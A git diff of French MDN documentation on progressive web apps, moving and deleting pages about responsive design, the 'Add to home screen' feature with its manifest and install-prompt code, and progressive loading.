  • Un bundler de modules (par exemple, webpack), possède des fonctionnalités de performance qui vous avertiront lorsque les actifs dépassent les limites spécifiées.
    • +
  • Bundlesize, vous permet de définir et d'exécuter des contrôles de taille de fichier dans votre pipeline CI.
    • +
+ +

Les vérifications de la taille des fichiers sont la première ligne de défense contre les régressions, mais la conversion de la taille en mesures temporelles peut être difficile car les environnements de développement peuvent manquer de scripts tiers et d'optimisations généralement fournies par un CDN.

+ +

La première étape consiste à définir une base de développement pour chaque branche à comparer et la précision de la différence entre le développement et la production peut être utilisée comme objectif pour mieux correspondre à l'environnement réel.

+ +

Le bot Lighthouse s'intègre à Travis CI et peut être utilisé pour collecter des métriques de Lighthouse et de Webpage Test à partir d'une URL de dévloppement. Le bot réussira ou échouera en fonction des scores minimums fournis.

+ +

Comment appliquer un budget de performance?

+ +

Plus tôt vous pourrez identifier un ajout potentiel poussant le budget, mieux vous pourrez analyser l'état actuel de votre site et identifier les optimisations ou le code inutile.

+ +

Cependant, vous devez avoir plusieurs budgets et être dynamique. Ils sont destinés à refléter vos objectifs en cours, mais permettent des risques et des expériences. Par exemple, vous pouvez introduire une fonctionnalité qui augmente le temps de chargement global mais tente d'augmenter l'engagement des utilisateurs. (c'est-à-dire combien de temps un utilisateur reste sur une page ou un site).

+ +

Un budget de performance vous aide à protéger le comportement optimal de vos utilisateurs actuels tout en vous permettant d'accéder à de nouveaux marchés et de proposer des expériences personnalisées.

+ +

Voir aussi

+ + diff --git a/files/fr/web/progressive_web_apps/adaptative/index.html b/files/fr/web/progressive_web_apps/adaptative/index.html deleted file mode 100644 index f29786204c..0000000000 --- a/files/fr/web/progressive_web_apps/adaptative/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Adaptative -slug: Web/Progressive_web_apps/Adaptative -tags: - - Applications - - Design adaptatif - - Media Queries - - flexbox - - viewport -translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -translation_of_original: Web/Progressive_web_apps/Responsive ---- -
-
Les applications web adaptatives utilisent des technologies comme les media queries et viewport pour être sûre que leur interface convient avec tout les facteurs de forme: bureau, téléphone, tablette, ou peut importe ce qui viendra après.
- -
-
- -

Guides

- -
-
Les fondations du design adaptatif
-
Apprendre les bases du design adaptatif, un sujet essentiel pour l'affichage des applications web modernes.
-
Mobile avant tout (Mobile first)
-
Souvent lors de la création de l'affichage d'une application adaptative, il est judicieux de créer en premier le rendu sur téléphone mobile, et d'utiliser ce rendu comme base pour concevoir les écrans plus larges.
-
- -

Technologies

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TechnologieDescriptionRésumé du supportDernière spécification
Media queriesPermet de définir des conditions permettant aux styles d'être appliqués aux contenus en fonction de l'affichage disponible (viewport), de la résolution, de l'orientation, etc.Répandu sur les navigateurs modernes (plus de détails)Media Queries Level 4
@viewport/viewport meta tagContrôler la configuration du viewport, principalement sur les appareils mobiles.@viewport: Expérimental (plus de détails)
- Viewport meta tag: Répandu sur les appareils mobiles modernes		CSS Device Adaptation Module Level 1
FlexboxUne fonctionnalité CSS très utile pour créer une mise en page flexible et adaptative.Répandu sur les navigateurs modernes (plus de détail)CSS Flexible Box Layout Module Level 1
- -

Outils

- -
-
Modernizr
-
Une bibliothèque d'outils de détection des fonctionnalités pour appliquer différents CSS ou JS en fonctions de comment les différentes fonctionnalités CSS/JS sont supportées.
-
css3-mediaqueries-js
-
Un polyfill en JavaScript pour assurer le support de media query aux anciennes versions de IE (5+.)
-
- -

Voir aussi

- -
-
Graphiques dans les sites adaptatifs
-
Points à garder à l'esprit lors de la conception de graphiques pour des sites ou des applications adaptatives.
-
Modèle de navigation adaptative
-
Comment faire une interface aussi ressemblante et fonctionnelle sur téléphone mobile que sur bureau? Apprenez comment concevoir des interfaces qui changent pour s'adapter à l'écran de l'utilisateur.
-
diff --git a/files/fr/web/progressive_web_apps/add_to_home_screen/index.html b/files/fr/web/progressive_web_apps/add_to_home_screen/index.html new file mode 100644 index 0000000000..65f077b50d --- /dev/null +++ b/files/fr/web/progressive_web_apps/add_to_home_screen/index.html @@ -0,0 +1,240 @@ +--- +title: Ajouter à l'écran d'accueil +slug: Web/Progressive_web_apps/ajouter_a_lecran_daccueil_a2hs +tags: + - Ajouter à l'écran d'accueil + - HTML + - Manifest + - PWA +translation_of: Web/Progressive_web_apps/Add_to_home_screen +--- +

Ajouter à l’écran d’accueil (A2HS en abrégé) est une fonctionnalité disponible dans les navigateurs pour smartphones modernes qui permet aux développeurs d’ajouter facilement et rapidement un raccourci à leur écran d’accueil, représentant leur application Web. Ce guide explique comment utiliser A2HS et ce que vous devez faire en tant que développeur pour permettre à vos utilisateurs d’en tirer parti.

+ +

Pourquoi A2HS?

+ +

On pense que A2HS fait partie de la philosophie des applications Web progressives : offrir aux applications Web les mêmes avantages en matière d'expérience utilisateur que les applications natives. Cela fait partie du simple geste d’accéder à une application en appuyant sur son icône sur votre écran d’accueil, puis en l’affichant proprement dans sa propre fenêtre. A2HS rend cela possible.

+ +

Quels navigateurs prennent en charge A2HS?

+ +

A2HS est pris en charge par Mobile Chrome / Android Webview depuis la version 31, Opera pour Android depuis la version 32 et Firefox pour Android depuis la version 58 .

+ +

Comment l'utiliser?

+ +

Nous avons écrit un exemple de site Web très simple ( voir la démo, et le code source ) qui ne fait pas grand chose, mais qui a été développé avec le code nécessaire pour pouvoir l'ajouter à un écran d'accueil. en tant qu'agent de service enregistré pour lui permettre d'être utilisé en mode hors connexion. L'exemple montre une série d'images de renard.

+ +

Si vous avez Firefox pour Android, utilisez-le pour accéder à notre démonstration à https://mdn.github.io/pwa-examples/a2hs/ . Vous verrez des images de renard, mais plus important encore, vous verrez une icône "accueil" avec une icône plus (+) à l'intérieur: il s'agit de l'icône "Ajouter à l'écran d'accueil" affichée pour tout site doté de A2HS.

+ +

+ +

 

+ +

 

+ +

Appuyez sur cette icône pour afficher une bannière de confirmation. Une pression sur le gros bouton + AJOUTER À L'ÉCRAN D'ACCUEIL termine l'action et ajoute l'application à l'écran d'accueil. (Dans Android 8 et versions ultérieures, une boîte de dialogue d'autorisation au niveau du système "Ajouter à l'écran d'accueil" s'affiche en premier.)

+ +

+ +

Si vous avez Mobile Chrome disponible, l'expérience est légèrement différente. lors du chargement du site, une bannière d’installation apparaît vous demandant si vous souhaitez ajouter cette application à votre écran d’accueil.

+ +

+ +
+

Note : Pour en savoir plus sur les bannières d'installation de Chrome, consultez l'article Web Installer des bannières Web App .

+
+ +

 

+ +

Si vous choisissez de ne pas l'ajouter à votre écran d'accueil à ce stade, vous pourrez le faire ultérieurement à l'aide de l'icône Ajouter à l'écran d'accueil dans le menu principal de Chrome.

+ +

Quel que soit le navigateur que vous utilisez, lorsque vous choisissez d'ajouter l'application à votre écran d'accueil, celle-ci s'affiche avec un titre abrégé, de la même manière que les applications natives.

+ +

+ +

Cet icône ouvre le site, mais en tant que WebApp, vous ne verrez plus l'interface utilisateur du navigateur.

+ +

Que faut-il pour utiliser A2HS?

+ +

 

+ +

Pour permettre à votre application d'être ajoutée à un écran d'accueil, vous devez disposer des éléments suivants:

+ +
    +
  • Un site en HTTPS - Internet est de plus en plus plus sécurisée et de nombreuses technologies modernes (A2HS incluses) ne fonctionneront que dans des contextes sécurisés.
    • +
  • Avoir un fichier "manifest" contenant les champs appropriés, lié à partir de l'en-tête HTML.
    • +
  • Avoir une icône disponible pour l'affichage sur l'écran d'accueil.
    • +
  • Chrome exige en outre que l'application ait un agent de service enregistré (par exemple, pour pouvoir fonctionner en mode hors connexion).
    • +
+ +

 

+ +

Manifest

+ +

Le "manifest" est un fichier écrit au format JSON standard et doit être placé quelque part dans le répertoire de votre application (il est préférable que le fichier.webmanifest soit à la racine du site) avec le nom fichier.webmanifest (nous avons choisi manifest.webmanifest ). Il contient plusieurs champs qui définissent certaines informations sur l'application Web et sur son comportement. .

+ +
+

Note : L'extension .webmanifest est spécifiée dans la section Enregistrement du type de fichier, mais les navigateurs prennent aussi en charge les manifest avec d'autres extensions appropriées, par exemple .json .

+
+ +

 

+ +

Les champs nécessaires pour A2HS sont les suivants:

+ +
    +
  • background_color : spécifie une couleur d'arrière-plan à utiliser dans certains contextes d'application. Le plus pertinent pour A2HS est l'écran de démarrage qui s'affiche lorsque l'icône de l'application sur l'écran d'accueil est activée et qu'elle commence à se charger (elle ne s'affiche actuellement que lorsque des applications ont été ajoutées à l'écran d'accueil par Chrome).
    • +
  • display : Spécifie comment l'application doit être affichée. Pour que cela ressemble à une application distincte (et pas seulement à une page Web), vous devez choisir une valeur telle que fullscreen (aucune interface utilisateur n'est affichée) ou standalone (très similaire, mais des éléments d'interface utilisateur au niveau du système tels que la barre d'état. pourrait être visible).
    • +
  • icons : spécifie les icônes à utiliser par le navigateur pour représenter l'application à différents endroits (par exemple sur le sélecteur de tâches ou, plus important encore, sur l'écran d'accueil). Nous n'en avons inclus qu'un dans notre démo.
    • +
  • name et short_name : Ces champs fournissent un nom d'application à afficher lors de la représentation de l'application à différents endroits. name fournit le nom complet de l'application et short_name fournit un nom abrégé à utiliser lorsque l'espace disponible est insuffisant pour afficher le nom complet. Nous vous conseillons de fournir les deux si le nom de votre application est long.
    • +
  • start_url : fournit un chemin d'accès de l'application. Notez qu'il doit s'agir d'une URL pointant vers l'index du site, par rapport à l'URL du "manifest". Sachez également que Chrome en a besoin avant d'afficher la bannière d'installation, tandis que Firefox ne l'exige pas pour afficher l'icône.
    • +
+ +

Le fichier "manifest" de notre exemple ressemble à ceci:

+ +
{
+  "background_color": "purple",
+  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+  "display": "fullscreen",
+  "icons": [
+    {
+      "src": "icon/fox-icon.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "name": "Awesome fox pictures",
+  "short_name": "Foxes",
+  "start_url": "/pwa-examples/a2hs/index.html"
+}
+ +

Icône

+ +

 

+ +

Comme indiqué dans le "manifest" ci-dessus, nous incluons une icône de 192 x 192 px. Vous pouvez inclure plus de tailles si vous le souhaitez. Android choisira la taille la plus appropriée pour chaque cas d'utilisation différent. Vous pouvez également décider d'inclure différents types d'icônes afin que les appareils puissent utiliser le meilleur qu'ils puissent (par exemple, Chrome prend déjà en charge le format WebP).

+ +

Notez que le membre de type dans l'objet de chaque icône spécifie le type MIME de l'icône, afin que le navigateur puisse rapidement identifier le type de l'icône, puis l'ignorer et passer à une autre icône s'il ne le prend pas en charge.

+ +

Pour ce qui est de la conception de l’icône, vous devez suivre les mêmes pratiques que vous suivriez pour n’importe quelle icône Android (voir les directives de conception d’icône Android ).

+ +

Lier le code HTML au "manifest"

+ +

Pour terminer la configuration de votre "manifest", vous devez le référencer à partir du code HTML de la page d'accueil de votre application:

+ +
< link rel = " manifest " href = "
+ +

Les navigateurs prenant en charge A2HS sauront où chercher votre manifeste une fois celui-ci en place.

+ +

Qu'est-ce que A2HS ne vous donne pas?

+ +

 

+ +

N'oubliez pas que lorsque vous ajoutez une application à votre écran d'accueil, cela la rend simplement facilement accessible. Elle ne télécharge pas les ressources et les données de l'application sur votre appareil et ne la rend pas disponible hors connexion, ou quelque chose du genre. Pour que votre application fonctionne en mode hors connexion, vous devez utiliser l' API Service Worker pour gérer le stockage hors connexion et, si nécessaire, le stockage Web ou IndexedDB pour stocker ses données.

+ +

Dans notre exemple d'application, nous venons d'utiliser un agent de service pour stocker tous les fichiers nécessaires. Le fichier index.js est inscrit sur le site avec le bloc de code final dans le fichier index.js . Nous mettons ensuite en cache toutes les ressources du site à l'aide de l' API de cache et les servons à partir du cache plutôt que du réseau à l'aide du code contenu dans le fichier sw.js.

+ +

A2HS sur le bureau

+ +

Bien que conçu à l'origine pour améliorer l'expérience utilisateur sur les systèmes d'exploitation mobiles, il existe également une technique pour rendre les PWA installables sur les plates-formes de bureau.

+ +
+

Note : au moment de la rédaction de ce document, les fonctionnalités décrites ci-dessous n'étaient prises en charge que par les versions les plus récentes de Chrome: par défaut sous Windows et derrière l'indicateur #enable-desktop-pwas sous macOS.

+
+ +

 

+ +

Ajout d'un bouton d'installation

+ +

Pour rendre notre PWA installable sur le bureau, nous avons d’abord ajouté un bouton à notre document pour permettre aux utilisateurs de procéder à l’installation. Ce bouton n’est pas automatiquement disponible sur les applications de bureau et l’installation doit être déclenchée par un geste de l’utilisateur:

+ +
<button class="add-button">Add to home screen</button>
+ +

Nous lui avons ensuite donné un style simple:

+ +
.add-button {
+  position: absolute;
+  top: 1px;
+  left: 1px;
+}
+ +

JavaScript pour gérer l'installation

+ +

Au bas de notre fichier index.js , nous avons ajouté du JavaScript pour gérer l'installation. Tout d'abord, nous déclarons une variable deferredPrompt (que nous expliquerons plus tard), obtenons une référence à notre bouton d'installation et le configurons pour display: none:

+ +
let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';
+ +

Nous masquons le bouton initialement car le PWA ne sera pas disponible pour l’installation tant qu’il ne respectera pas les critères A2HS. Lorsque cela se produit, les navigateurs prenant en charge déclenchent un événement beforeinstallprompt . Nous pouvons ensuite utiliser un gestionnaire comme celui ci-dessous pour gérer l'installation:

+ +

 

+ +
window.addEventListener('beforeinstallprompt', (e) => {
+  // Prevent Chrome 67 and earlier from automatically showing the prompt
+  e.preventDefault();
+  // Stash the event so it can be triggered later.
+  deferredPrompt = e;
+  // Update UI to notify the user they can add to home screen
+  addBtn.style.display = 'block';
+
+  addBtn.addEventListener('click', (e) => {
+    // hide our user interface that shows our A2HS button
+    addBtn.style.display = 'none';
+    // Show the prompt
+    deferredPrompt.prompt();
+    // Wait for the user to respond to the prompt
+    deferredPrompt.userChoice.then((choiceResult) => {
+        if (choiceResult.outcome === 'accepted') {
+          console.log('User accepted the A2HS prompt');
+        } else {
+          console.log('User dismissed the A2HS prompt');
+        }
+        deferredPrompt = null;
+      });
+  });
+});
+ +

 

+ +

Ici il faut:

+ +
    +
  • Appeler Event.preventDefault() pour empêcher Chrome 67 et les versions antérieures d'appeler automatiquement l'invite d'installation (ce comportement a été modifié dans Chrome 68).
    • +
  • Stocker l'objet événement dans la variable deferredPrompt afin qu'il puisse être utilisé ultérieurement pour effectuer l'installation réelle.
    • +
  • Configurer le bouton  display: block afin qu'il apparaisse dans l'interface utilisateur sur laquelle l'utilisateur peut cliquer.
    • +
  • Définir un gestionnaire de click pour le bouton.
    • +
+ +

Le gestionnaire de clics contient les étapes suivantes:

+ +
    +
  • Cacher à nouveau le bouton avec display: none - il n'est plus nécessaire une fois l'application installée.
    • +
  • Utilisez la méthode prompt() disponible sur l'objet d'événement beforeinstallprompt (stocké dans deferredPrompt ) pour déclencher l'affichage de l'invite d'installation.
    • +
  • Répondez à l'interaction de l'utilisateur avec l'invite à l'aide de la propriété userChoice , de nouveau disponible sur l'objet d'événement beforeinstallprompt .
    • +
  • Définissez deferredPrompt sur null car il n'est plus nécessaire.
    • +
+ +

Ainsi, lorsque vous cliquez sur le bouton, l'invite d'installation apparaît.

+ +

+ +

Si l'utilisateur sélectionne Installer , l'application est installée (disponible en tant qu'application de bureau autonome) et le bouton Installer ne s'affiche plus (l'événement onbeforeinstallprompt ne se déclenche plus si l'application est déjà installée). Lorsque vous ouvrez l'application, celle-ci apparaît dans sa propre fenêtre:

+ +

+ +

Si l'utilisateur sélectionne Annuler , l'état de l'application revient à ce qu'il était avant le clic sur le bouton.

+ +
+

Note: Le code de cette section provient principalement des bannières d'installation de l' application / Ajouter à l'écran d'accueil de Pete LaPage.

+
+ +

Voir aussi

+ +

 

+ +
    +
  • Applications web progressives (PWA
    • +
  • Service Worker API
    • +
  • Référence du "manifest" Web
    • +
  • App install banners
    • +
+ +

 

diff --git a/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html b/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html deleted file mode 100644 index 65f077b50d..0000000000 --- a/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: Ajouter à l'écran d'accueil -slug: Web/Progressive_web_apps/ajouter_a_lecran_daccueil_a2hs -tags: - - Ajouter à l'écran d'accueil - - HTML - - Manifest - - PWA -translation_of: Web/Progressive_web_apps/Add_to_home_screen ---- -

Ajouter à l’écran d’accueil (A2HS en abrégé) est une fonctionnalité disponible dans les navigateurs pour smartphones modernes qui permet aux développeurs d’ajouter facilement et rapidement un raccourci à leur écran d’accueil, représentant leur application Web. Ce guide explique comment utiliser A2HS et ce que vous devez faire en tant que développeur pour permettre à vos utilisateurs d’en tirer parti.

- -

Pourquoi A2HS?

- -

On pense que A2HS fait partie de la philosophie des applications Web progressives : offrir aux applications Web les mêmes avantages en matière d'expérience utilisateur que les applications natives. Cela fait partie du simple geste d’accéder à une application en appuyant sur son icône sur votre écran d’accueil, puis en l’affichant proprement dans sa propre fenêtre. A2HS rend cela possible.

- -

Quels navigateurs prennent en charge A2HS?

- -

A2HS est pris en charge par Mobile Chrome / Android Webview depuis la version 31, Opera pour Android depuis la version 32 et Firefox pour Android depuis la version 58 .

- -

Comment l'utiliser?

- -

Nous avons écrit un exemple de site Web très simple ( voir la démo, et le code source ) qui ne fait pas grand chose, mais qui a été développé avec le code nécessaire pour pouvoir l'ajouter à un écran d'accueil. en tant qu'agent de service enregistré pour lui permettre d'être utilisé en mode hors connexion. L'exemple montre une série d'images de renard.

- -

Si vous avez Firefox pour Android, utilisez-le pour accéder à notre démonstration à https://mdn.github.io/pwa-examples/a2hs/ . Vous verrez des images de renard, mais plus important encore, vous verrez une icône "accueil" avec une icône plus (+) à l'intérieur: il s'agit de l'icône "Ajouter à l'écran d'accueil" affichée pour tout site doté de A2HS.

- -

- -

 

- -

 

- -

Appuyez sur cette icône pour afficher une bannière de confirmation. Une pression sur le gros bouton + AJOUTER À L'ÉCRAN D'ACCUEIL termine l'action et ajoute l'application à l'écran d'accueil. (Dans Android 8 et versions ultérieures, une boîte de dialogue d'autorisation au niveau du système "Ajouter à l'écran d'accueil" s'affiche en premier.)

- -

- -

Si vous avez Mobile Chrome disponible, l'expérience est légèrement différente. lors du chargement du site, une bannière d’installation apparaît vous demandant si vous souhaitez ajouter cette application à votre écran d’accueil.

- -

- -
-

Note : Pour en savoir plus sur les bannières d'installation de Chrome, consultez l'article Web Installer des bannières Web App .

-
- -

 

- -

Si vous choisissez de ne pas l'ajouter à votre écran d'accueil à ce stade, vous pourrez le faire ultérieurement à l'aide de l'icône Ajouter à l'écran d'accueil dans le menu principal de Chrome.

- -

Quel que soit le navigateur que vous utilisez, lorsque vous choisissez d'ajouter l'application à votre écran d'accueil, celle-ci s'affiche avec un titre abrégé, de la même manière que les applications natives.

- -

- -

Cet icône ouvre le site, mais en tant que WebApp, vous ne verrez plus l'interface utilisateur du navigateur.

- -

Que faut-il pour utiliser A2HS?

- -

 

- -

Pour permettre à votre application d'être ajoutée à un écran d'accueil, vous devez disposer des éléments suivants:

- -
    -
  • Un site en HTTPS - Internet est de plus en plus plus sécurisée et de nombreuses technologies modernes (A2HS incluses) ne fonctionneront que dans des contextes sécurisés.
    • -
  • Avoir un fichier "manifest" contenant les champs appropriés, lié à partir de l'en-tête HTML.
    • -
  • Avoir une icône disponible pour l'affichage sur l'écran d'accueil.
    • -
  • Chrome exige en outre que l'application ait un agent de service enregistré (par exemple, pour pouvoir fonctionner en mode hors connexion).
    • -
- -

 

- -

Manifest

- -

Le "manifest" est un fichier écrit au format JSON standard et doit être placé quelque part dans le répertoire de votre application (il est préférable que le fichier.webmanifest soit à la racine du site) avec le nom fichier.webmanifest (nous avons choisi manifest.webmanifest ). Il contient plusieurs champs qui définissent certaines informations sur l'application Web et sur son comportement. .

- -
-

Note : L'extension .webmanifest est spécifiée dans la section Enregistrement du type de fichier, mais les navigateurs prennent aussi en charge les manifest avec d'autres extensions appropriées, par exemple .json .

-
- -

 

- -

Les champs nécessaires pour A2HS sont les suivants:

- -
    -
  • background_color : spécifie une couleur d'arrière-plan à utiliser dans certains contextes d'application. Le plus pertinent pour A2HS est l'écran de démarrage qui s'affiche lorsque l'icône de l'application sur l'écran d'accueil est activée et qu'elle commence à se charger (elle ne s'affiche actuellement que lorsque des applications ont été ajoutées à l'écran d'accueil par Chrome).
    • -
  • display : Spécifie comment l'application doit être affichée. Pour que cela ressemble à une application distincte (et pas seulement à une page Web), vous devez choisir une valeur telle que fullscreen (aucune interface utilisateur n'est affichée) ou standalone (très similaire, mais des éléments d'interface utilisateur au niveau du système tels que la barre d'état. pourrait être visible).
    • -
  • icons : spécifie les icônes à utiliser par le navigateur pour représenter l'application à différents endroits (par exemple sur le sélecteur de tâches ou, plus important encore, sur l'écran d'accueil). Nous n'en avons inclus qu'un dans notre démo.
    • -
  • name et short_name : Ces champs fournissent un nom d'application à afficher lors de la représentation de l'application à différents endroits. name fournit le nom complet de l'application et short_name fournit un nom abrégé à utiliser lorsque l'espace disponible est insuffisant pour afficher le nom complet. Nous vous conseillons de fournir les deux si le nom de votre application est long.
    • -
  • start_url : fournit un chemin d'accès de l'application. Notez qu'il doit s'agir d'une URL pointant vers l'index du site, par rapport à l'URL du "manifest". Sachez également que Chrome en a besoin avant d'afficher la bannière d'installation, tandis que Firefox ne l'exige pas pour afficher l'icône.
    • -
- -

Le fichier "manifest" de notre exemple ressemble à ceci:

- -
{
-  "background_color": "purple",
-  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
-  "display": "fullscreen",
-  "icons": [
-    {
-      "src": "icon/fox-icon.png",
-      "sizes": "192x192",
-      "type": "image/png"
-    }
-  ],
-  "name": "Awesome fox pictures",
-  "short_name": "Foxes",
-  "start_url": "/pwa-examples/a2hs/index.html"
-}
- -

Icône

- -

 

- -

Comme indiqué dans le "manifest" ci-dessus, nous incluons une icône de 192 x 192 px. Vous pouvez inclure plus de tailles si vous le souhaitez. Android choisira la taille la plus appropriée pour chaque cas d'utilisation différent. Vous pouvez également décider d'inclure différents types d'icônes afin que les appareils puissent utiliser le meilleur qu'ils puissent (par exemple, Chrome prend déjà en charge le format WebP).

- -

Notez que le membre de type dans l'objet de chaque icône spécifie le type MIME de l'icône, afin que le navigateur puisse rapidement identifier le type de l'icône, puis l'ignorer et passer à une autre icône s'il ne le prend pas en charge.

- -

Pour ce qui est de la conception de l’icône, vous devez suivre les mêmes pratiques que vous suivriez pour n’importe quelle icône Android (voir les directives de conception d’icône Android ).

- -

Lier le code HTML au "manifest"

- -

Pour terminer la configuration de votre "manifest", vous devez le référencer à partir du code HTML de la page d'accueil de votre application:

- -
< link rel = " manifest " href = "
- -

Les navigateurs prenant en charge A2HS sauront où chercher votre manifeste une fois celui-ci en place.

- -

Qu'est-ce que A2HS ne vous donne pas?

- -

 

- -

N'oubliez pas que lorsque vous ajoutez une application à votre écran d'accueil, cela la rend simplement facilement accessible. Elle ne télécharge pas les ressources et les données de l'application sur votre appareil et ne la rend pas disponible hors connexion, ou quelque chose du genre. Pour que votre application fonctionne en mode hors connexion, vous devez utiliser l' API Service Worker pour gérer le stockage hors connexion et, si nécessaire, le stockage Web ou IndexedDB pour stocker ses données.

- -

Dans notre exemple d'application, nous venons d'utiliser un agent de service pour stocker tous les fichiers nécessaires. Le fichier index.js est inscrit sur le site avec le bloc de code final dans le fichier index.js . Nous mettons ensuite en cache toutes les ressources du site à l'aide de l' API de cache et les servons à partir du cache plutôt que du réseau à l'aide du code contenu dans le fichier sw.js.

- -

A2HS sur le bureau

- -

Bien que conçu à l'origine pour améliorer l'expérience utilisateur sur les systèmes d'exploitation mobiles, il existe également une technique pour rendre les PWA installables sur les plates-formes de bureau.

- -
-

Note : au moment de la rédaction de ce document, les fonctionnalités décrites ci-dessous n'étaient prises en charge que par les versions les plus récentes de Chrome: par défaut sous Windows et derrière l'indicateur #enable-desktop-pwas sous macOS.

-
- -

 

- -

Ajout d'un bouton d'installation

- -

Pour rendre notre PWA installable sur le bureau, nous avons d’abord ajouté un bouton à notre document pour permettre aux utilisateurs de procéder à l’installation. Ce bouton n’est pas automatiquement disponible sur les applications de bureau et l’installation doit être déclenchée par un geste de l’utilisateur:

- -
<button class="add-button">Add to home screen</button>
- -

Nous lui avons ensuite donné un style simple:

- -
.add-button {
-  position: absolute;
-  top: 1px;
-  left: 1px;
-}
- -

JavaScript pour gérer l'installation

- -

Au bas de notre fichier index.js , nous avons ajouté du JavaScript pour gérer l'installation. Tout d'abord, nous déclarons une variable deferredPrompt (que nous expliquerons plus tard), obtenons une référence à notre bouton d'installation et le configurons pour display: none:

- -
let deferredPrompt;
-const addBtn = document.querySelector('.add-button');
-addBtn.style.display = 'none';
- -

Nous masquons le bouton initialement car le PWA ne sera pas disponible pour l’installation tant qu’il ne respectera pas les critères A2HS. Lorsque cela se produit, les navigateurs prenant en charge déclenchent un événement beforeinstallprompt . Nous pouvons ensuite utiliser un gestionnaire comme celui ci-dessous pour gérer l'installation:

- -

 

- -
window.addEventListener('beforeinstallprompt', (e) => {
-  // Prevent Chrome 67 and earlier from automatically showing the prompt
-  e.preventDefault();
-  // Stash the event so it can be triggered later.
-  deferredPrompt = e;
-  // Update UI to notify the user they can add to home screen
-  addBtn.style.display = 'block';
-
-  addBtn.addEventListener('click', (e) => {
-    // hide our user interface that shows our A2HS button
-    addBtn.style.display = 'none';
-    // Show the prompt
-    deferredPrompt.prompt();
-    // Wait for the user to respond to the prompt
-    deferredPrompt.userChoice.then((choiceResult) => {
-        if (choiceResult.outcome === 'accepted') {
-          console.log('User accepted the A2HS prompt');
-        } else {
-          console.log('User dismissed the A2HS prompt');
-        }
-        deferredPrompt = null;
-      });
-  });
-});
- -

 

- -

Ici il faut:

- -
    -
  • Appeler Event.preventDefault() pour empêcher Chrome 67 et les versions antérieures d'appeler automatiquement l'invite d'installation (ce comportement a été modifié dans Chrome 68).
    • -
  • Stocker l'objet événement dans la variable deferredPrompt afin qu'il puisse être utilisé ultérieurement pour effectuer l'installation réelle.
    • -
  • Configurer le bouton  display: block afin qu'il apparaisse dans l'interface utilisateur sur laquelle l'utilisateur peut cliquer.
    • -
  • Définir un gestionnaire de click pour le bouton.
    • -
- -

Le gestionnaire de clics contient les étapes suivantes:

- -
    -
  • Cacher à nouveau le bouton avec display: none - il n'est plus nécessaire une fois l'application installée.
    • -
  • Utilisez la méthode prompt() disponible sur l'objet d'événement beforeinstallprompt (stocké dans deferredPrompt ) pour déclencher l'affichage de l'invite d'installation.
    • -
  • Répondez à l'interaction de l'utilisateur avec l'invite à l'aide de la propriété userChoice , de nouveau disponible sur l'objet d'événement beforeinstallprompt .
    • -
  • Définissez deferredPrompt sur null car il n'est plus nécessaire.
    • -
- -

Ainsi, lorsque vous cliquez sur le bouton, l'invite d'installation apparaît.

- -

- -

Si l'utilisateur sélectionne Installer , l'application est installée (disponible en tant qu'application de bureau autonome) et le bouton Installer ne s'affiche plus (l'événement onbeforeinstallprompt ne se déclenche plus si l'application est déjà installée). Lorsque vous ouvrez l'application, celle-ci apparaît dans sa propre fenêtre:

- -

- -

Si l'utilisateur sélectionne Annuler , l'état de l'application revient à ce qu'il était avant le clic sur le bouton.

- -
-

Note: Le code de cette section provient principalement des bannières d'installation de l' application / Ajouter à l'écran d'accueil de Pete LaPage.

-
- -

Voir aussi

- -

 

- -
    -
  • Applications web progressives (PWA
    • -
  • Service Worker API
    • -
  • Référence du "manifest" Web
    • -
  • App install banners
    • -
- -

 

diff --git a/files/fr/web/progressive_web_apps/chargement/index.html b/files/fr/web/progressive_web_apps/chargement/index.html deleted file mode 100644 index 72ce203f4f..0000000000 --- a/files/fr/web/progressive_web_apps/chargement/index.html +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Chargement progressif -slug: Web/Progressive_web_apps/Chargement -tags: - - Chargement -translation_of: Web/Progressive_web_apps/Loading ---- -
{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}
- -

Dans les articles précédents, nous avons abordé les APIs qui nous aident à faire de notre exemple js13kPWA une Progressive Web App: Service Workers, Manifestes Web, Notifications et Push. Dans cet article, nous irons encore plus loin et améliorerons la performance de l'application en téléchargeant progessivement ses ressources.

- -

Première visualisation signifiante

- -

Il est important de fournir quelque chose qui ait du sens pour l'utilisateur dès que possible  — plus il attend que la page se charge, plus il y a de chances qu'il s'en aille plutôt que d'attendre que tout soit fini. Nous devrions être capable de lui montrer au moins une vue basique de la page qu'il veut voir avec des emplacements où du contenu supplémentaire sera chargé à un moment donné.

- -

Ceci peut être réalisé grâce au chargement progressif — également appelé Lazy loading. Tout ceci consiste en retardant autant que possible le plus de ressources que possible (HTML, CSS, JavaScript), et ne charger immédiatement que celles qui sont réellement nécessaire pour la toute première expérience.

- -

Mise en paquet versus éclatement

- -

De nombreux visiteurs ne naviguerons pas sur la totalité des pages d'un site web bien que l'approche habituelle consiste à mettre dans un paquet toutes les fonctionnalités que nous avons dans un seul gros fichier. Un fichier bundle.js peut peser plusieurs megaoctets et un unique paquet style.css peut tout contenir, depuis les définitions de base des structures CSS à tous les styles possibles de toutes les versions d'un site: mobile, tablette, ordinateur de bureau, pour l'impression, etc.

- -

Il est plus rapide de télécharger toutes les informations sous la forme d'un unique fichier plutôt que beaucoup de petits, mais si l'utilisateur n'a pas besoin de tout au tout début, nous pourrions ne télécharger que ce qui est crucial puis gérer les autres ressources quand elles sont nécessaires.

- -

Render-blocking resources

- -

Créer des paquets est un problème car le navigateur doit charger le HTML, le CSS et le JavaScript avant qu'il ne puisse afficher le rendu du résultat à l'écran. Pendant les quelques secondes séparant l'accès l'initial au site web et la fin du téléchargement, l'utilisateur voit une page blanche ce qui est une mauvaise expérience.

- -

Pour corriger ça, nous pouvons, par exemple, ajouter defer aux fichiers JavaScript:

- -
<script src="app.js" defer></script>
